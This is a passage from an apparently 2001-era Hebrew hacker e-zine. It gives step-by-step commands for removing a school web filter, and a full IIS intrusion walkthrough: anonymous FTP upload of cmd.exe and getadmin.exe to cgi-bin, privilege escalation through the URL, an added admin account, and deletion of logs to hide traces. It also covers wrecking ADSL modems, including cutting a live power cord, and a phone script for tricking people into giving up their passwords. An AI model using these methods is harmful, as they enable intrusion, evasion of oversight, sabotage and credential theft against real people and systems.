‫ביי‪,‬‬

‫בנץ‪.‬‬

‫‪82‬‬
‫נטרול תוכנת סייבר‪-‬פורטל‬

‫היי!‬

‫כולם כאן בטח מכירים את התוכנה סייבר‪-‬פטרול‪ .‬זאת תוכנת פילטר לאתרי אינטרנט‪,‬‬
‫שהרבה בתי ספר משתמשים בה כדי שהתלמידים לא יגלשו לאתרי סקס וכו'‪.‬‬
‫הבעיה עם התוכנה הזאת‪ ,‬שאם מנסים למחוק אותה ידנית‪ ,‬היא חוסמת לחלוטין את המחשב‬
‫ולא נותנת לכם להפעיל אפילו את ווינדוס‪.‬‬
‫אז אם בבית ספר שלכם יש את סייבר‪-‬פטרול וחשקה נפשכם בכמה "אתרים אסורים"‪,‬‬
‫זו ממש לא בעיה לעקוף את סייבר‪-‬פטרול גם בלי הסיסמה‪.‬‬
‫אני יוצא מנקודת הנחה שאתם מכירים "קצת" את דוס‪ ,‬ואם לא‪ ,‬תפנו לגיליון מס' ‪ 2‬של‬
‫גיהינום‪,‬‬
‫הוא מסביר שם קצת על דוס‪.‬‬

‫‪----------------------------------------------------------------------------------‬‬
‫הערה חשובה‪ :‬תעשו את זה רק במחשבים של בית ספר או מחשב אחר שיש בו סייבר פטרול‬
‫ושממש‬
‫לא אכפת לכם מהמחשב‪ .‬למה? בגלל שיכול להיות שאם תטעו באות אחת תמחקו קובץ לא‬
‫נכון‬
‫ותהרסו את המחשב‪ .‬אבל הכל תעשו בשביל סקס‪ ,‬לא?‬
‫‪----------------------------------------------------------------------------------‬‬

‫כל מה שצריך לעשות זה‪:‬‬

‫‪ .1‬להפעיל את המחשב במצב דוס אמיתי (לא דוס מתוך ווינדוס)‪ ,‬כלומר להפעיל את‬
‫המחשב‬
‫מחדש‪ ,‬וללחוץ על אף‪ 8-‬עד שמופיע התפריט איתחול‪ .‬בוחרים שם את האפשרות‬
‫‪Command Prompt Only‬‬
‫ואז מגיעים למצב דוס‪.‬‬

‫‪ .2‬נכנסים לספריה של ווינדוס‪ ,‬ומוחקים את הקובץ ‪ - ATM.SYS‬זהו הקובץ הסודי‬


‫שעושה‬
‫שאם תמחקו את התוכנה ווינדוס לא יעלה‪ .‬הקובץ אמור להיות מוגן ‪ -‬אבל את זה‬
‫עוקפים ככה‪:‬‬
‫‪attrib -r -s -h atm.sys‬‬
‫כמובן שאת זה עושים רק אחרי שנכנסתם לספריה של ווינדוס‪ .‬אחרי שהסרתם את‬
‫ההגנה‪ ,‬מחקו את‬
‫הקובץ ככה‪:‬‬
‫‪del atm.sys‬‬

‫‪ .3‬כותבים את זה שאתם עדיין בספריה של ווינדוס (תעשו יישור לשמאל)‪:‬‬


‫‪attrib -r -s -h SYSTEM.386‬‬
‫‪attrib -r -s -h system\system.drv‬‬
‫‪copy system.386 system\system.drv‬‬
‫אם הוא שואל‪ ,‬תלחצו על כן‪.‬‬
‫‪del system.386‬‬
‫הסבר למה שעשינו פה‪ ,‬למי שרוצה לדעת‪ :‬הסרנו את הגנת המחיקה לשני קבצים‪.‬‬
‫את הקובץ סיסטם‪ 386.‬מהספריה של ווינדוס העתקנו "על" הקובץ סיסטם‪.‬דרב ואז‬
‫ומחקנו את הקובץ סיסטם‪.386.‬‬

‫‪ .4‬מוחקים לחלוטין את הספריה ‪c:\patrol‬‬

‫‪83‬‬
‫‪ .5‬מוחקים את הקבצים הבאים‪ ,‬בספריה של ווינדוס‪ .‬אם הם לא קיימים‪ ,‬זה בסדר‪.‬‬
‫פשוט זה תלוי איזה גרסה של סייברפטרול יש לכם‪.‬‬
‫‪ilc.exe‬‬
‫‪iic.exe‬‬
‫‪lic.exe‬‬
‫‪llc.exe‬‬
‫‪ic.exe‬‬
‫‪lc.exe‬‬
‫‪icfire.exe‬‬
‫‪lcfire.exe‬‬
‫‪icp.log‬‬
‫‪lcp.log‬‬
‫‪nt16.dll‬‬
‫‪ts.dll‬‬
‫‪ts16.dll‬‬
‫‪ts32.dll‬‬
‫‪tsnt.dll‬‬
‫‪tsntx.exe‬‬
‫‪usage.log‬‬
‫‪usage5.log‬‬
‫‪llc.exe‬‬

‫‪ .6‬מהספרייה סיסטם או סיסטם ‪ 32‬שבתוך הספריה של ווינדוס תמחקו את הקובץ‬


‫‪ isystem.drv‬ו ‪lsystem.drv‬‬

‫עכשיו תעשו ריסט ותפעילו את ווינדוס כרגיל‪ .‬זהו! אין סייבר פטרול!‬
‫אם אתם רוצים לנקות ממש ממש‪ ,‬תמחקו מהרג'יסטרי את מה שמפעיל את סייבר פטרול‬
‫ככה‪:‬‬
‫‪ -‬תפעילו את הקובץ ‪regedit.exe‬‬
‫‪ -‬תמחקו את ה‪ registry keys-‬האלו‪:‬‬
‫‪HKEY_LOCAL_MACHINE\SOFTWARE\CYBER PATROL‬‬
‫‪HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTV‬‬
‫‪ERSION\RUN\CYBER‬‬
‫‪PATROL‬‬
‫‪HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTV‬‬
‫‪ERSION\UNINSTALL\CYBER‬‬
‫‪PATROL‬‬

‫זהו! גמרנו! סייבר פטרול הלך ולא יחזור! לפחות עד שבית הספר יעלה על זה ויתקינו‬
‫אותו‬
‫עוד פעם‪ .‬ואתם תמחקו אותו עוד פעם‪ .‬והם יעלו על זה ויתקינו אותו עוד פעם‪ .‬ואתם‬
‫תמחקו‪.‬‬
‫וככה עד שתסיימו את בית ספר‪ .‬או שלא‪.‬‬

‫טוב אז ביי עד לפעם האחרונה‪,‬‬


‫בנץ‪.‬‬

‫‪84‬‬
‫פריצה לאתרים – דוגמאות לאקספלויטים‬

‫‪Hello motherfucker‬‬

‫מה שלומכם? ‪9:‬‬


‫בטח ראיתם שכבר הרבההההה זמן לא היו כתבות ממני וזה מכמה סיבות‪:‬‬
‫א‪ .‬סייממממתתתתייייי בבבבייייתתתתת ספפפפפררררררררר!!!!!‬
‫אז הייתי עסוקה בלחגוג‪( .‬הקפצנו קולה ודרסנו זקנות)‬
‫ב‪ .‬אני עסוקה בלהביא לכם אותה ב ה‪-‬כתבה ה‪-‬פ ‪33‬ה אבל אני עוד תקועה שם (גיהנום האני‪ ,‬אל‬
‫תחכה‪ ,‬אני אצטרך ללמוד ספר שלם על ‪ ASP‬בשביל זה‪)..‬‬
‫ג‪ .‬כתבתי שירים כל היום (סתם‪ ,‬כולה ‪ >- )2‬שייקספיר ממכר‪.‬‬
‫ד‪ .‬לא בא לי עליכם‪.‬‬

‫שיא עולמי‪ :‬תגידו קרה פעם שמישהו התקשר אליכם ולא עניתם ואחרי פחות מחצי שעה ראיתם‬
‫‪ 39‬שיחות שלא נענו? (זיפ בטח מחייך עכשיו)‪.‬‬

‫ועכשיו קצת חדשות‪ :‬זוכרים שאמרתי לכם לפני שנים על כנס ההאקרים השנה? אז זהווו שיש‬
‫פגישת מארגנים בשבוע הבא (תאכלו את הלב יהיה לי חולצה של מארגן) אז מאוד בקרוב אני‬
‫אהיה חכמה יותר להגיד לכם מה חדש‪ .‬בטח עד שהכתבה הזאת תתפרסם כבר אני אדע מה קורה‪.‬‬

‫והיום ילדים‪ ,‬נלמד שיטה לפריצת אתרים! ממש ככה‪ .‬אתם תלמדו היום איך לפרוץ מערכות‬
‫פגיעות עם מנהלים טפשים ששכחו לחסום גישה לתיקייה בשם ‪!!cgi-bin‬‬
‫זוהי הכתבה הראשונה בסדרת כתבות על ‪:IIS‬‬
‫(ייתכן שיקח לי עוד זמן לפרסם את השאר‪ ,‬אז אנא האזרו בשבלולנות)‬
‫בכתבות הבאות בנושא אני אסביר יותר לעומק מה זה ‪ IIS‬ואיך היא עובדת‪ ,‬ולכן לצורך העניין‬
‫הסברתי כאן ממש בכלליות‪ .‬אז אני גאה להציג את‪...‬‬

‫========================================================‬
‫‪IIS HACKING NO.1 : HOW TO HACK THROUGH THE CGI-BIN‬‬
‫========================================================‬
‫כן כן‪ ,‬ממש להשיג ‪...admin rights‬‬

‫אז מה זה שרת המריץ ‪?IIS‬‬


‫זוהי מערכת המשתמשת ב ‪ )IIS )Internet Infrmation Server‬שזה שרת אינטרנט ותוכנות‬
‫לניהול האינטרנט‪ .‬של מייקרוסופט‪ .‬אוווו‪ ...‬ואתם יודעים מה זה אומר‪...‬‬
‫לדוגמה אתם חוקרים אתר של חברה מסויימת‪ .‬איך תדעו אם הוא משתמש ב ‪ ?IIS‬לרוב ניתן‬
‫להשיג את זה דרך פורט ‪ .80‬התבוננו בהודעת השגיאה שתקבלו אם תקישו ‪ get HTTP‬או סתם‬
‫שטויות‪:‬‬
‫‪HTTP/1.1 400 Bad Request‬‬
‫‪Server: Microsoft-IIS/4.0‬‬
‫‪Date: Wed, 30 May 2001 20:47:31 GMT‬‬
‫‪Content-Length: 407‬‬
‫‪Content-Type: text/html‬‬
‫השרת מודיע לנו שהוא מריץ ‪.IIS‬‬

‫הפריצה‪:‬‬
‫טוב‪ ...‬נסו את ה ‪ .FTP‬פורט ‪ .21‬אם אין לכם חשבון על אותו שרת‪ ,‬נסו להכנס בשם‬
‫‪anonymous‬‬
‫(בחלון דוס‪ ,‬הקלידו‪:‬‬
‫‪ftp www.victim.com‬‬
‫המחשב יגיב‪:‬‬
‫‪.Connected to www.company.com‬‬

‫‪85‬‬
‫‪.)VICTIM Microsoft FTP Service )Version 3.0 220‬‬
‫((‪User : )www.comapny.com:)none‬‬
‫הקלידו‪:‬‬
‫‪anonymous‬‬
‫השרת יבקש כתובת אימייל בתור סיסמה‪ .‬המציאו משהו‪.‬‬
‫‪) password gehenom@underground.com‬‬

‫כעת‪ ,‬שימו לב שהשרת אמר את השם שלו‪.)VICTIM Microsoft FTP Service )Version 3.0 :‬‬
‫שם השרת הוא ‪ .VICTIM‬זה אומר‪ ,‬שבמערכת ה ‪ IIS‬חשבון ה ‪ anonymous‬יקרא‬
‫‪ .IUSR_VICTIM‬נזכור זאת לשימוש מאוחר יותר‪.‬‬

‫השיטה הזאת תעבוד אך ורק אם יש לכם הרשאה להעלות קבצים לספריה ‪ .cgi-bin‬נסו להכנס‬
‫לספריה זו באמצעות‬
‫‪( cd‬לחצו על אנטר)‬
‫‪. cgi-bin‬‬
‫(כדי לבדוק באיזה ספריה אתם‪ ,‬הפקודה‪.)pwd :‬‬
‫נניח שהצלחתם להכנס לתיקיה בלי ‪ ,access denied‬נסו להעלות קובץ לשרת‪ .‬צרו קובץ טקסט‬
‫ריק לדוגמה ונסו להעלות אותו באמצעות הפקודה‪:‬‬
‫‪put c:\mytext.txt‬‬
‫אם הפקודה תתבצע כראוי תראו שהשרת מקבל את הקובץ ומאשר את הקבלה‪PORT 200 :‬‬
‫‪.command successful‬‬
‫הקלידו‬
‫‪dir‬‬
‫כדי לראות את רשימת הקבצים‪.‬‬
‫הצלחתם להעלות קובץ ל ‪ ?cgi-bin‬אתם מסודרים‪.‬‬
‫כעת‪ ,‬לאלה מכם שמשתמשים ב ‪ ,NT‬בדקו אם יש לכם את הקבצים ‪ cmd.exe, gasys.dll‬ו‬
‫‪getadmin.exe‬‬
‫לאלה מכם שלא על ‪ NT‬או לאלה מכם שכן אבל אין להם את הקבצים הנ"ל‪ ,‬לכו למנוע החיפוש‬
‫החביב עליכם והשיגו את הקבצים‪( .‬או בקשו ממשתמשי ‪ NT‬את ‪ .)cmd.exe, gasys.dll‬בכל‬
‫מקרה‪ ,‬את ‪ getadmin.exe‬לא קשה להשיג‪.‬‬
‫ועכשיווו‪ ...‬פתחו את ה ‪ FTP‬שוב‪ ,‬והקלידו‬
‫‪( binary‬פתיחת התקשרות לקבלת קובץ בינארי)‬
‫ואז‬
‫‪put cmd.exe‬‬
‫‪put gasys.dll‬‬
‫‪put getadmin.exe‬‬
‫סגרו את ה ‪.FTP‬‬
‫כעת‪ ,‬פתחו את הדפדפן שלכם והקלידו‪:‬‬
‫‪http://www.company.com/cgi-bin/getadmin.exe?IUSR_VICTIM‬‬
‫הדפדפן יענה‪:‬‬
‫‪CGI Error‬‬
‫‪The specified CGI application misbehaved by not returning a complete set of HTTP‬‬
‫‪.headers‬‬
‫אתם יודעים מה זה אומר? שכעת למשתמש ‪ IUSR_VICTIM‬יש הרשאות של משתמש על!‬
‫(אדמין)‪ .‬בואו ניצור חשבון חדש בשם ‪ gehenom‬שסיסמתו תהיה‪ .underground :‬שוב בחלון‬
‫הדפדפן הקלידו‬
‫‪http://www.company.com/cgi-‬‬
‫‪bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20gehenom%20underground‬‬
‫‪%20/add‬‬
‫וכדי לתת גם לחשבון הזה זכויות של משתמש על‪,‬‬
‫‪http://www.company.com/cgi-bin/getadmin.exe?gehenom‬‬

‫‪86‬‬
‫כעת התחברו שוב ל ‪ ,FTP‬אבל הפעם בתור המשתמש ‪ gehenom‬והסיסמה ‪.password‬‬
‫זהו! עכשיו אתם שולטים במערכת! אם אתם משתמשים ב ‪ NT‬אתם יכולים להעזר ב ‪User‬‬
‫‪ Manager‬וב ‪ Server Manager‬כדי לשלוט על המערכת‪.‬‬
‫קחו כוס קולה‪ ,‬תחגגו את הרגע‪ ,‬ואז תעשו מה שתמיד חלמתם לעשות על אותה מערכת (אני לא‬
‫ממליצה למחוק קבצים‪ ,‬זה סתם מנייאקי)‬

‫ניקיון‪:‬‬
‫אל תשכחו להכנס לכונן ‪( C$‬מוסתר) לספריה ‪ Winnt\system32\logfiles‬ולעדכן את הלוג של‬
‫אותו יום‪ ,‬זאת אומרת למחוק כל זכר לכך שהייתם שם‪ .‬שמרו את הלוג החדש‪ .‬אם זה עושה לכם‬
‫בעיות‪ ,‬לפחות שנו את התאריך של הלוג כדי לא להחשיד‪:‬‬
‫‪http://www.company.com/cgi-bin/cmd.exe?/c%20date%2002/02/98‬‬
‫אל תשכחו להוריד מהאנונימוס את הרשאות משתמש העל‪ ,‬ולמחוק את החשבון שיצרתם (‬
‫‪ )gehenom‬ואת הקבצים שהעלתם לשרת‬
‫(‪dele cmd.exe‬‬
‫‪dele gasys.dll‬‬
‫‪)dele getadmin.exe‬‬
‫בדקו אם אין עוד לוגים ששכחתם לעדכן‪ ,‬ועזבו את השרת‪.‬‬

‫יש לציין כי השיטה עובדת *רק* במקרה שיש גישה ל ‪ cgi-bin‬ורשות להעלות קבצים‪ ,‬וזה מאוד‬
‫מאוד נדיר למצוא שרת כ"כ פגיע‪.‬‬

‫למה זה עובד?‬
‫כי ב ‪ IIS‬ספריית ה ‪ cgi-bin‬משמשת לאחסון סקריפטים שהמשתמש יכול להריץ‪ .‬אם העליתם‬
‫לשם אקספלוייט (במקרה שלנו ‪ )getadmin.exe‬השרת יכול להריץ אותו דרך שורת הכתובת (ז"א‬
‫דרך הדפדפן)‪ .‬בניגוד לספריות אחרות על השרת‪ ,‬קובץ המועלה ל ‪ cgi-bin‬רץ על השרת *עצמו*‬
‫ולא על המחשב שלכם! לכן כאשר מעלים לשם אקספלוייט הוא ירוץ על המערכת עצמה ויפרוץ‬
‫אותה‪.‬‬

‫קרדיטים‪:‬‬
‫את השיטה הזאת למדתי מקובץ בשם ‪ hacking-nt‬שמאוד קל למצוא על האינטרנט‬
‫למעוניינים חפשו ‪ ,hacking-nt‬זהו הקובץ שמתחיל במילים‪:‬‬
‫‪.Johnny Hacker has a Windows NT Server at home‬‬

‫חכו לעוד כתבות בעניין‪ ,‬אבל תסלחו לי אם זה יקח קצת זמן‬


‫‪Drink disgusting Cherry Cokes‬‬
‫‪and happy hacking‬‬
‫שלכם‪,‬‬
‫בלאדי‪.‬‬

‫‪87‬‬
‫איך לשפר ביצועים ועד איך לחבל במודמים‬

‫שירות וואו של בזק מסופק ב ‪ 80‬אחוז מהערים בארץ ישראל‪.‬‬


‫כאשר אתם מזמינים את השירות אתה נתקעים בשבועיים בממוצע המתנה להתקנה ואז‬
‫מתבאסים (לא בכל המקרים‪).‬‬
‫שירות וואו של בזק הוא עובד דרך ‪.ADSL‬‬
‫‪ ADSL‬הוא חיבור לאינטרנט במהירות יותר גבוהה ממה שהייתם רגילים לו‪.‬‬
‫אם מישהו אמר לכם שזה לא שווה את הכסף שזה עולה (וזה די יקר) הוא משקר אבל כמו כן‪,‬‬
‫מי שאמר לכם שזה שווה הוא כמו כן שקרן‪.‬‬
‫בזק מחלקת את הארץ לשני חלקים‪ ,‬חלק אשר מקבל את מודם האלקטל וחלק את מודם‬
‫האורכית‪.‬‬
‫קצת על כל מודם וביצועיו ואיך להרוס אותו טוטאלית‪:‬‬
‫מודם אלקטל של בזק ‪:‬‬
‫‪-------------------------------------------------------------------------------------‬‬
‫מודם מכוער וארוך בצבע שחור‪.‬‬
‫בזק אומרת שכל המודמים מוגבלים בקיבולת שלהם אבל מודם אלטקל מוכיח את טענתם‪.‬‬
‫כל מי שאני מכיר שיש לו אלקטל מתבאס מת ואפילו מתנתק מהשירות‪.‬‬
‫בממוצע מודם אלקטל יביא לכם את הביצועים הבאים‪:‬‬
‫‪: Test‬‬
‫*‪)246kb/s )Down‬‬
‫*‪)11kb/s )Up‬‬
‫אבל כמובן יש דרכים לשפר את הביצועים‪.‬‬
‫‪ .1‬לעבור עיר ואז לקבל מודם אחר‪.‬‬
‫‪ .2‬לקנות ממישהו מודם אורכית ולעשות את ההתקנה ולהיזהר שבזק לא יגלו‪.‬‬
‫‪ .3‬להכין קובץ ‪ REG‬חדש ולכתוב בפנים ‪:‬‬
‫‪------------------------------------------------------------------------------------‬‬
‫‪REGEDIT4‬‬

‫[‪]HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP‬‬
‫"‪"DefaultRcvWindow"="64245‬‬
‫‪------------------------------------------------------------------------------------‬‬
‫הקובץ הזה בעצם משנה כמה דברים ברג'יסטי אבל אני לא אפרט כי זה לא נחוץ לנו‪.‬‬
‫אתם יכולים לשחק עם הטווח אבל תיזהרו לא לקפוץ למרחקים שלא תחזרו מהם‪.‬‬
‫תלכו מקסימום ‪ 12‬מספרים קדימה או אחורה‪.‬‬
‫‪.64257 >- 64245 -< 64233‬‬
‫אנרכיה ‪ -‬אם ברצונכם להרוס את המודם טוטאלית אבל בדרך מקורית‪...‬‬
‫מאחורי המודם יש שם כפתור אשר מאפס את המודם (‪ )Restart‬אשר עליו תלחצו עם מוט‪ ,‬קיסם‬
‫וכו'‪.‬‬
‫שימו שם את הפריט שאיתו אתם לוחצים והדביקו אם צלוטייפ (או כל חומר דביק אחר)‪.‬‬
‫מה קורה עכשיו ‪ :‬האיפוס ימשיך הרבה זמן והמודם יתחיל להתחרפן‪,‬‬
‫תהיה הפסקת חשמל קטנה אבל אתם כולה מחזירים את הפלאג בארון החשמל למקום‪.‬‬
‫אל תשכחו לוודאות שבזמן שאתם עושים את הנ"ל המודם מחובר לחשמל !!!!!!‬
‫(אבל שלא יהיה מחובר למחשב‪ ,‬מומלץ‪ ,‬כי זה יכול גם אתם יודעים‪ ,‬לשרוף משהו בבלוק)‪.‬‬
‫‪-------------------------------------------------------------------------------------‬‬
‫מודם אורכית של בזק‪:‬‬
‫‪-------------------‬‬
‫מודם קטן ויפיפיה אשר לא מוגבל‪.‬‬
‫אנשים עם מודם כזה לא יורדים מהמאה חמישים קיי בהורדה ומעלים מהירות נורמלית‪.‬‬
‫ממוצע של מודם אורכית ‪:‬‬
‫‪: Test‬‬
‫*‪)341kb/s )Down‬‬
‫*‪)102kb/s )Up‬‬

‫‪88‬‬
‫אבל גם את זה אפשר לשפר‪.‬‬
‫מה עושים ‪ :‬יש שני שיטות שאני מכיר והם הכי טובות‪:‬‬
‫‪.1‬‬
‫‪.Go to NETWORK , press on Proporties‬‬
‫‪.Choose DIAL-UP ADAPTER, press on Proporties‬‬
‫‪.Go to Advanced, go to Ip PACKTE SIZE‬‬
‫‪.change the value from Automatic to ------ >> MEDIUM‬‬
‫‪ .2‬פתחו קובץ ‪ REG‬חדש וכתוב שם‪:‬‬
‫‪------------------------------------------------------------------------------------‬‬
‫‪REGEDIT4‬‬

‫[‪]HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP‬‬
‫"‪"DefaultRcvWindow"="64249‬‬
‫‪------------------------------------------------------------------------------------‬‬
‫אנרכיה ‪:‬‬
‫דרכים להרוס מודם אורכית‪:‬‬
‫על מודם האורכית הנחמד שלנו אין כפתורים לאיפוס ובלה בלה‪.‬‬
‫אז פשוט קחו את החוט אשר יוצא מהמודם לחשמל‪ ,‬פתחו אותו אם סכין‪ ,‬חשפו את החוטים‬
‫בפנים‪,‬‬
‫תחכתכו אחד מהחוטים אשר תמצאו בפנים וחברו שוב לחשמל‪ ,‬אני לא מספר מה קורה‪ ,‬אם‬
‫אתם רוצים לדעת ‪,‬‬
‫תנסו‪ ,‬למרות שאני לא ממליץ בחום !!!‬
‫‪------------------------------------------------------------------------------------‬‬
‫הסברים אחרונים למאותגרים שלא הבינו מה עושים‪.‬‬
‫* לאחר שכותבים קובץ ‪ ,REG‬שומרים אותו ‪ ,‬אז מפעילים אותו ‪ ,‬הוא ישאל אתכם בלה בלה ואז‬
‫אומרים "כן"‪.‬‬
‫** מודם אלקטל לא תמיד יהיה מסריח וגם אורכית לא תמיד יהיה טוב ‪ ,‬יש עוד פרמטרים אשר‬
‫קובעים מהירות‪:‬‬
‫‪ .1‬המרחק מהמרכזיה לבית שלכם‪.‬‬
‫‪ .2‬החוטים של הטלפון‪ ,‬חדשים ישנים סדוקים גמורים או מה‪ ...‬ככל שיותר חדשים יותר טוב‪.‬‬
‫*** עכשיו שימו לב השיטות של שיפור הביצועים היא לא תמיד תעבוד‪ ,‬זה תלוי במרכזיה אשר‬
‫בעיר שלכם‬
‫אם היא ישנה יחסית לשירות אז זה יעבוד אבל אם היא חדשה אז תשכחו מזה !!!!‬

‫זהו ‪ ,‬רק שתדעו בזק הם בני זונות אשר גונבים כספים ואני ממליץ‪:‬‬
‫"רק למי שיש כסף בצד שיתחבר‪ ,‬כי לאנשים יותר פשוטים עדיך להוציא את הכסף על דברים‬
‫אחרים‪,‬‬
‫כמוני ‪.))))))))))):‬‬
‫‪ -------------‬עודכן ביום חמישי‪ ------------- 22/02/01 ,‬ע"י פירסינג ‪-------------------------‬‬
‫זוכרים שכתבתי למעלה שעושים למודם אורכית (‪ )restart‬ריבוט ע"י הוצאה מהחשמל ! אל תעשו‬
‫את זה‪.‬‬
‫שמועות הגיעו לאוזני ממקורות פנימיים בחברה אשר מייצרת את המודמים שכשאר מוציאים את‬
‫הכבל‪,‬‬
‫של המודם מהחשמל הוא פוגע בפינים של המודם (‪ .)PIN2‬ולאחר הרבה פעמים יכול לגרום‬
‫לשריפה של המודם‪.‬‬
‫אז כמובן אני פה מביא לכם שיטה ממש טובה לאתחל את המודן בלי להוציא אותו מהחשמל‪.‬‬
‫עושים ככה‬
‫‪Start -> Run -> telnet 10.0.0.138‬‬
‫יפתח לכם טרמינל שהוא בעצם למודם‪.‬‬
‫אם אתם רוצים לעשות ישר ריבוט תכתבו את זה‪ .‬קודם כל תצטרכו סיסמא (לקח לי שנים לגלות‬
‫אותה(לפצח))‬
‫‪password = XXXXXXXX‬‬
‫[‪ )XXXXXXXX] = )password‬כן כן‪ ,‬בזק הדפוקים שמו על המודם את הסיסמא הנפוצה‬
‫ביותר (‪.)password‬ץ‬

‫‪89‬‬
‫אז הססימא היא ‪ password‬ואז אתם יכולים לעשות שתי דברים‪:‬‬
‫‪ .1‬לכתוב ‪ HELP‬ולקבל את כל התכונות שאפשר לשנות‪,‬‬
‫אבל אני לא ממליץ לגעת שם רק אם אתם יודעים מה אתם עושים‪.‬‬
‫‪ .2‬לכתוב ‪ reset‬ולחכות‪ .‬הוא יתאחל בשבילכם את המודם והכל יהיה בסדר‪.‬‬
‫מקווה שזה תוסף נאה והראה לכם עוד דברים על המודם אורכית ועל בזק‪.‬‬
‫נ‪.‬ב‪ .‬בזק הגבילה את המרכזיות שוב פעם בתאריך ‪ 19/02/01‬אז אם אתם משמ גולשים לאט‬
‫עכשיו‪,‬‬
‫אז בזק אשמים תתבעו אותם או תתנתקו מהם (זה מה שאני הייתי עושה)‪.‬‬
‫אם אתם באותה מהירות עדיין אז יש לכם מזל ואני כמעט בטוח שכל מי שעם מודם אורכית‬
‫נשאר רגיל‪.‬‬
‫אני מה זה מרחם עליכם ‪ -‬מחזיקי אלקטל !‬

‫‪Pirs[i]ng‬‬

‫‪90‬‬
‫שימוש בפסיכולוגיה כדי לגנוב סיסמאות‪.‬‬

‫הערות‪/‬אזהרות כלליות‪:‬‬
‫אנו‪ ,‬ארגון ההאקרים הישראלי‪ ,‬לא אחראים לשום נזק שייגרם עקב הקריאה הן בצד המשפטי‬
‫והן בצד הפיזי‪ ,‬כל האחריות מוטלת על הקורא בלבד!‬
‫טקסט זה נכתב על מנת להעביר למשתמש יידע נוסף ולא על מנת לגרום נזק כלשהו!‬

‫יש כיום המון שיטות לגניבת כל מיני סיסמאות בכדי להשיג גישה לכל מיני דברים‪.‬‬
‫אני אראה לכם שיטה אחידה שעובדת להשגת כל סוגי הסיסמאות‪ .‬לא צריכים כל ידע קודם‬
‫במחשבים‪.‬‬
‫מה שכן צריכים זה אמצעי תיקשור כגון אימייל‪ ,‬טלפון‪ ,‬דואר וכו'‪.‬‬
‫איך זה עובד? אני אתן דוגמא‪.‬‬
‫הטלפון בבית של משפחת פדלמן מצלצל‪ .‬מר פדלמן עונה‪ .‬השיחה מתנהלת‪...‬‬

‫מר פדלמן‪ :‬הלו?‬

‫אתם‪ :‬שלום‪ ,‬מדבר מתן מאינטרנט זהב‪.‬‬

‫מר פדלמן‪ :‬אה‪ ,‬אתם אלה שאחראים לאינטרנט שלי‪ ,‬נכון?‬

‫אתם‪ :‬נכון מאוד‪ .‬לכן אני מתקשר‪ .‬האם במקרה ניסית לגשת לאימייל שלך היום?‬

‫מר פדלמן‪ :‬לא‪ ,‬הייתי מאוד עסוק היום‪ ...‬למה?‬

‫אתם‪ :‬הממ‪ ,‬כן‪ ,‬גם אני‪ .‬היו לנו בעיות עם שרת הדואר‪ .‬הוא קרס וכל החשבונות נמחקו‪.‬‬

‫מר פדלמן‪ :‬וואי‪ ...‬מה אתה אומר? אז כמה זמן ייקח עד שאני אוכל לבדוק שוב את האימייל שלי?‬

‫אתם‪ :‬אני מקווה שהכל יתוקן בדקות הקרובות‪ .‬אני אחראי על איסוף המידע מחדש והכנסתו‬
‫חזרה למחשב‪.‬‬
‫האם במקרה את הזוכר מה היה שם המשתמש שלך?‬

‫מר פדלמן‪ :‬שם משתמש?‬

‫אתם‪ :‬כן‪ .‬זה החלק שבא לפני סימן ה @ בכתובת האימייל שלך‪.‬‬

‫מר פדלמן‪ :‬אה‪ .‬הבנתי‪ .‬אם כך אז שם המשתמש שלי הוא ‪.fedelman‬‬

‫אתם‪ :‬יופי‪ ,‬מצויין‪ .‬אני אוסיף את זה ברגע זה‪.‬‬

‫מר פדלמן‪ :‬אוקי‪ ,‬תודה‪.‬‬

‫אתם‪ :‬מה תרצה שתהיה הסיסמא שלך?‬

‫מר פדלמן‪ :‬אני חייב לבחור סיסמא חדשה‪ ,‬או שאני יכול גם להשתמש בישנה?‬

‫אתם‪ :‬איך שנוח לך‪ .‬אתה יכול פשוט להשתמש בישנה‪.‬‬

‫מר פדלמן‪ :‬סבבה‪ .‬הישנה קל לי לזכור‪ .‬זה ‪.qwert‬‬

‫אתם‪ :‬רק רגע‪...‬‬


‫אוקי‪ .‬הכל תקין עכשיו‪ .‬תוכל לבדוק את האימייל שלך בעוד דקה או שתיים‪.‬‬

‫‪91‬‬
‫מר פדלמן‪ :‬תודה רבה‪.‬‬

‫אתם‪ :‬אין בעד מה‪ ,‬שיהיה לך יום נעים‪.‬‬

‫מר פדלמן‪ :‬תודה‪ .‬גם לך‪.‬‬

‫‪-‬סוף שיחה‪-‬‬

‫המממממ‪ ...‬תתאמנו עם חברים‪ ,‬עד שהולך לכם חלק‪.‬‬


‫שכל חבר יישחק חלק אחר‪ .‬פעם אחת זה שעובדים עליו‪ ,‬ופעם אחת ההאקר‪.‬‬
‫ככה תתחלפו כל פעם‪ .‬עליכם להשתמש בדימיון‪ ,‬להיות פתוחים למחשבות‪,‬‬
‫ולשים את עצמיכם במצב של מישאתם טוענים שאתם‪.‬‬
‫כדי להיות חלקלקים עליכם להתאמן‪ ,‬להתאמן‪ ,‬להתאמן ולהתאמן‪ .‬תיהנו‪.‬‬

‫‪By waMaw‬‬

‫‪92‬‬
‫קטעים מהביוגרפיה של ההאקר המפורסם בעולם שסופרו ע"י האסיר פיאו לי‪.‬‬

‫כל אותם השנים שלפני ההודאה‪ ,‬לא נתנו לו להגן על עצמו‪.‬‬


‫הגישה לספרייה – אסורה‪ ,‬פגישות – אסורות‪ ,‬שום אמצעי תקשורת‪ .‬שום מחשבים‪ ,‬אפילו לאפ‬
‫טופ מסכן (ללא מודם‪ ,‬ללא יציאות ‪ ,PCMCIA‬אפילו ללא פורטים חיצוניים) נראה לסוהרים‬
‫כצעצוע מסוכן מדי בידיו של ההאקר המפורסם‪.‬‬
‫לפעמים הוא היה מקבל לידיו מחשב‪ ,‬לשימוש של כמה ימים‪ ,‬אחרי זאת המחשב היה נלקח ממנו‬
‫והיה מושמד אחרי בדיקה מדוקדקת של וועדה מיוחדת‪.‬‬

‫הוא ישב בכלא במשך יותר ‪ 5‬שנים‪ .‬בית הסוהר של לוס‪-‬אנג'לס‪ ,‬תודות לו הכי מפורסם בעולם‬
‫הווירטואלי‪ .‬כמו כן הכי שמור במדינה כולה‪.‬‬
‫במשך כל אותו הזמן הוא התנגד‪ ,‬ניסה להוכיח את חפותו‪.‬‬
